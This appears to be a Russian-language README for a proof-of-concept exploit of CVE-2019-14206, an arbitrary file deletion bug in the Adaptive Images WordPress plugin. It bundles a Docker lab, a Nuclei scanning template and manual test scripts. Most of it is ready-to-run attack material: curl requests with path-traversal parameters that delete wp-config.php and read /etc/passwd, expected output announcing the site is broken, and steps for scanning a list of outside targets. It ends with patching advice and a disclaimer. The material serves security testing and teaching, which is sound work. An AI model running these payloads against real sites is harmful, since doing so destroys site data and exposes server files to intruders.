
Эксплойт доказательства концепции для CVE-2019-14206, демонстрирующий произвольное удаление файлов в плагине Adaptive Images для WordPress. Включает Docker-лабораторию, шаблон Nuclei и сценарии ручного тестирования для обучения и проверки безопасности.
CVE-ID: CVE-2019-14206
Серьёзность: Высокая (CVSS 6.5)
Затронутый плагин: Adaptive Images for WordPress
Затронутые версии: < 0.6.67
Эта уязвимость позволяет удалённому неавторизованному злоумышленнику удалить произвольные файлы на сервере WordPress, используя плагин Adaptive Images.
// Плагин использует ввод пользователя БЕЗ санитизации
$settings = $_REQUEST['adaptive-images-settings'];
// Формирует путь к файлу с параметрами, контролируемыми злоумышленником
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;
// УДАЛЯЕТ произвольный файл
unlink($cache_file);
# Проверить Nuclei
nuclei --version
# Проверить Bash
bash --version
# Проверить curl
curl --version
# Проверить PHP (опционально)
php --version 2>/dev/null || echo "PHP не доступен (опционально)"
# Если находитесь в директории nuclei-templates
cd /Volumes/Codingsh/experimentos/nuclei-templates
# Или скачайте необходимые файлы
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates
# Проверить, существуют ли файлы
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh
Запустите полную демонстрацию, которая имитирует всю эксплуатацию:
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh
Что происходит:
Ожидаемый вывод:
[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
# Если Docker запущен
docker-compose up -d
# Если Docker НЕ запущен, используйте симулятор
./docker-test-full.sh
# Среда будет доступна по адресу
# http://localhost:8888
# Проверить, существует ли уязвимый скрипт
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php
# Тест LFI
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# Тест удаления файла
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# Проверить, удалён ли wp-config.php
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php
# Создать файл с целями
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF
# Базовое сканирование
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt
# Детальное сканирование
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v
# Сканирование с отладкой (ОБЯЗАТЕЛЬНО для баунти)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug
# Сохранить результаты
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt
# Просмотреть результаты
cat results.txt
# Положительные результаты будут содержать:
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888
# Попытаться прочитать /etc/passwd
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# Попытаться прочитать wp-config.php
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"
Ожидаемый результат (LFI):
=== CVE-2019-14206 Vulnerability Test ===
[*] Settings received:
source_file = /etc/passwd
...
[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd
# Проверить, существует ли wp-config.php ДО
ls -la wp-config.php
# Выполнить эксплойт
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# Проверить, удалён ли wp-config.php ПОСЛЕ
ls -la wp-config.php
Ожидаемый результат (удаление файла):
[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php
[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php
Matchers matched:
- Plugin detected
- LFI vulnerability confirmed
- Arbitrary file deletion possible
[N/A] No results found
# Удалить среду Docker
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
docker-compose down -v 2>/dev/null
# Удалить тестовые файлы
rm -rf docker-test/
rm -f targets.txt results.txt
# Восстановить wp-config.php, если он был удалён
cat > wp-config.php << 'EOF'
<?php
// Восстановленный файл
define('DB_NAME', 'wordpress');
EOF
# Удалить результаты сканирования
rm -f results.txt
# Очистить кеш (опционально)
nuclei -rm-cache
# Установить Nuclei
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Или скачать бинарник
wget https://github.com/projectdiscovery/nuclei/releases/download/v3.0.0/nuclei-linux-amd64.zip
unzip nuclei-linux-amd64.zip
chmod +x nuclei
sudo mv nuclei /usr/local/bin/
# Проверить, существует ли файл
ls -la http/cves/2019/CVE-2019-14206.yaml
# Проверить синтаксис YAML
python3 -c "import yaml; yaml.safe_load(open('http/cves/2019/CVE-2019-14206.yaml'))"
# Использовать абсолютный путь
nuclei -t /Volumes/Codingsh/experimentos/nuclei-templates/http/cves/2019/CVE-2019-14206.yaml -u http://target
# Проверить порт
lsof -i :8888
# Использовать другой порт
php -S localhost:9999
# Проверить установленный PHP
which php
php --version
# Проверить статус Docker
docker ps
# Запустить Docker
# На macOS: Открыть Docker Desktop
# На Linux: sudo systemctl start docker
# Использовать режим симулятора (работает без Docker)
./docker-test-full.sh
Обновить плагин:
Панель WordPress > Плагины > Обновить Adaptive Images
Безопасная версия: >= 0.6.67
Удалить уязвимый плагин:
rm -rf wp-content/plugins/adaptive-images/
// ✅ БЕЗОПАСНЫЙ КОД (Пример исправления)
function adaptive_images_script_get_settings() {
// Санитизация ввода
$allowed_keys = ['cache_dir', 'resolution', 'request_uri'];
$settings = [];
foreach ($allowed_keys as $key) {
if (isset($_REQUEST['adaptive-images-settings'][$key])) {
$settings[$key] = sanitize_text_field($_REQUEST['adaptive-images-settings'][$key]);
}
}
return $settings;
}
function adaptive_images_delete_stale_cache_image($source_file, $cache_file, $resolution) {
// Проверка путей
$allowed_cache_dirs = ['ai-cache', 'adaptive-cache'];
$cache_dir = basename(dirname($cache_file));
if (!in_array($cache_dir, $allowed_cache_dirs)) {
return false; // Отклонить недопустимые пути
}
// Использовать проверенные абсолютные пути
$cache_file = WP_CONTENT_DIR . '/ai-cache/' . basename($cache_file);
if (file_exists($cache_file)) {
unlink($cache_file);
}
}
Данный материал предоставляется исключительно для образовательных целей и целей тестирования безопасности.
Автор и участники НЕ несут ответственности за любое:
Если вы обнаружите эту уязвимость в реальных системах:
Данный проект демонстрирует:
Вклад приветствуется! Чтобы внести свой вклад:
git checkout -b feature/improvement)git commit -am 'Add improvement')git push origin feature/improvement)По вопросам или проблемам:
🎉 Спасибо за использование данного тестового материала!
Помните: с большой силой приходит большая ответственность. Используйте эти знания, чтобы сделать интернет безопаснее, а не уязвимее.
Создано: 4 января 2026 г.
Версия: 1.0.0
Статус: ✅ Готово к использованию в производстве